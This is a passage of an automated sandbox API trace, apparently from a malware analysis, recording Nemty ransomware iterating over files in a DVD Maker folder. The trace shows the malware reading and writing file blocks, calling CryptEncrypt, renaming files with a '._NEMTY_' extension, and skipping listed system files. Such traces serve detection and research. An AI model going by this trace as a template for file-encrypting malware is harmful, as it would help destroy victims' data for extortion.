lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.216] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.216] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.216] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.226] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.226] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.226] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.226] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.235] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.235] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.235] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.235] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.244] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.245] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.245] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.245] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.250] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.250] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.251] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.251] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.256] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.257] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.257] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.257] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.257] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0095.257] CloseHandle (hObject=0xffffffff) returned 0 [0095.257] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0095.257] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0095.257] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0095.257] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0095.257] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0095.257] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0095.257] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0095.257] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0095.257] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0095.257] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0095.257] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\selection_subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\selection_subpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\selection_subpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\selection_subpicture.png._nemty_kgobjgd_")) returned 0 [0095.257] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0095.257] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0095.257] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0095.257] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0095.257] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0095.257] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0095.257] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0095.257] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0095.257] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0095.257] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0095.257] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725f7645, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725f7645, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x658e, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="travel.png", cAlternateFileName="")) returned 1 [0095.258] lstrcmpiW (lpString1="travel.png", lpString2=".") returned 1 [0095.258] lstrcmpiW (lpString1="travel.png", lpString2="..") returned 1 [0095.258] lstrcmpiW (lpString1="travel.png", lpString2="...") returned 1 [0095.258] lstrcmpiW (lpString1="travel.png", lpString2="windows") returned -1 [0095.258] lstrcmpiW (lpString1="travel.png", lpString2="$RECYCLE.BIN") returned 1 [0095.258] lstrcmpiW (lpString1="travel.png", lpString2="rsa") returned 1 [0095.258] lstrcmpiW (lpString1="travel.png", lpString2="NTDETECT.COM") returned 1 [0095.258] lstrcmpiW (lpString1="travel.png", lpString2="ntldr") returned 1 [0095.258] lstrcmpiW (lpString1="travel.png", lpString2="MSDOS.SYS") returned 1 [0095.258] lstrcmpiW (lpString1="travel.png", lpString2="IO.SYS") returned 1 [0095.258] lstrcmpiW (lpString1="travel.png", lpString2="boot.ini") returned 1 [0095.258] lstrcmpiW (lpString1="travel.png", lpString2="boot.ini") returned 1 [0095.258] lstrcmpiW (lpString1="travel.png", lpString2="AUTOEXEC.BAT") returned 1 [0095.258] lstrcmpiW (lpString1="travel.png", lpString2="ntuser.dat") returned 1 [0095.258] lstrcmpiW (lpString1="travel.png", lpString2="desktop.ini") returned 1 [0095.258] lstrcmpiW (lpString1="travel.png", lpString2="CONFIG.SYS") returned 1 [0095.258] lstrcmpiW (lpString1="travel.png", lpString2="RECYCLER") returned 1 [0095.258] lstrcmpiW (lpString1="travel.png", lpString2="BOOTSECT.BAK") returned 1 [0095.258] lstrcmpiW (lpString1="travel.png", lpString2="bootmgr") returned 1 [0095.258] lstrcmpiW (lpString1="travel.png", lpString2="programdata") returned 1 [0095.258] lstrcmpiW (lpString1="travel.png", lpString2="appdata") returned 1 [0095.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0095.258] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="travel.png", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0095.258] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="travel.png", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="travel.png", lpUsedDefaultChar=0x0) returned 10 [0095.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0095.258] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="travel.png", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0095.258] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="travel.png", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="travel.png", lpUsedDefaultChar=0x0) returned 10 [0095.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0095.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0095.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0095.258] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="travel.png", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0095.258] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="travel.png", cchWideChar=10, lpMultiByteStr=0x653ec20, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="travel.png", lpUsedDefaultChar=0x0) returned 10 [0095.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0095.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0095.258] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="travel.png", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0095.258] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="travel.png", cchWideChar=10, lpMultiByteStr=0x653ec58, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="travel.png", lpUsedDefaultChar=0x0) returned 10 [0095.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0095.259] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0095.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0095.259] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94328 [0095.259] Sleep (dwMilliseconds=0x5) [0095.267] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xec6e31d0, dwHighDateTime=0x1d561e7)) [0095.267] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xec6e31d0, dwHighDateTime=0x1d561e7)) [0095.267] GetLastError () returned 0x5 [0095.267] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0095.267] GetLastError () returned 0x5 [0095.267] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0095.267] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0095.267] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0095.267] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0095.267] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0095.267] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0095.267] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400d0 [0095.267] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400d0, pcchString=0x653e91c | out: pszString="H1jN6rHKWnzUCvuvR0CutuE6xZ59sUW/2k4IlcGijye+HpqNs33tX+jJqiYTwyB7\r\nSydma4ErKtSh3qMP/dGk7dGM63atNVqcrO+nUMUBZUfuLecsYiBa7END7qXPOAi1\r\nc2v9nLSPHumAvZvAEe5w7BzuQrzF7V8gkikAQBIW98f05dxuAw53soQ9WnAaHAXN\r\nGBXyxHxU2IDsdqv6blEhicRUUswYSufW8a+fJU2dH0DgQrID8zZMsCosRKoXe+OE\r\nYf0zBizE8b5J9+4w2Jc263X7J65Zsg9S1OvEC3McpKMHmOp45w4WhNi2kVaTKx31\r\nm2nq0OZTehKo6+o5IXutiA==\r\n", pcchString=0x653e91c) returned 1 [0095.267] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0095.267] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0095.268] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0095.268] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0095.268] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400d0 [0095.268] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0095.268] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\travel.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travel.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.269] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0095.269] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0095.269] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.269] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.278] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.278] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.278] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.278] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.287] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.287] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.287] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.287] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.297] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.297] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.297] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.297] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.306] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.306] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.306] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.306] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.316] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.316] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.316] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.316] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.325] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.325] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.325] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.325] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.334] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.334] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.334] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.334] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.343] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.343] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.343] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.344] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.353] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.353] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.353] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.353] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.362] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.362] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.362] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.363] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.368] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.368] WriteFile (in: 